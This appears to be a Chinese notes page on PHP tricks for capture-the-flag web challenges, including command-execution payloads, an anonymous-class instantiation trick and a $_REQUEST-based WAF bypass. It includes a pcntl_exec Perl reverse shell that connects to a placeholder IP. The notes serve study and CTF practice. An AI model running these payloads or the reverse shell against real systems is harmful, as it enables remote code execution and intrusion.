记录php下的小技巧和特性
命令执行中断报错
可以利用__halt_compiler();
中断编译器的执行,不让eval报错
$cmd='system("whoami");__halt_compiler();';
preg_replace /e 模式
一部分修正符的含义
1 2 3 4 5 6
| 1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个 2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同 3、/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号 4、/s 与/m相对,单行模式匹配。 5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。 6、/x 忽略空白模式。
|
preg_replace 使用了 /e 模式,导致了代码可以被执行
1 2
| <?php echo preg_replace("/aa/e","system('whoami');","aa");
|
注意:php5.5以上版本/e被弃用
Error::getMessage
PHP的内置类 Error::getMessage方法可以返回Error类实例化时接受的字符串
new Error("system")->getMessage
就会返回system
例如
1 2
| ((new $a($aa))->$c())((new $b($bb))->$c()); ((new Error('system'))->getMessage())((new $Error('ls'))->getMessage());
|
pcntl_exec反弹shell
1
| pcntl_exec('/usr/bin/perl',['-e','use Socket;$i="ip";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};']);
|
php匿名类
class@anonymous
+chr(0)
+php文件路径
+:
+行数$列数
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php if (isset($_GET['ezphpPhp8'])) { highlight_file(__FILE__); } else { die("No"); } $a = new class { function __construct() { }
function getflag() { system('cat /flag'); } }; unset($a); $a = $_GET['ezphpPhp8']; $f = new $a(); $f->getflag(); ?>
|
直接构造class@anonymous%00/var/www/html/flag.php:7$0
即可
或者直接echo urlencode(get_class($a));
输出
REQUEST的优先级
1 2 3 4 5 6 7 8 9 10
| <?php function waf($str){ foreach ($str as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf"); } } }
waf($_REQUEST);
|
会同时接收post和get,但优先接收post的参数
所以post发送同名参数后get可以绕过
一些替换
localhost可以代替/进行绕过
php函数小记
1
| implode() — 把数组元素组合为一个字符串
|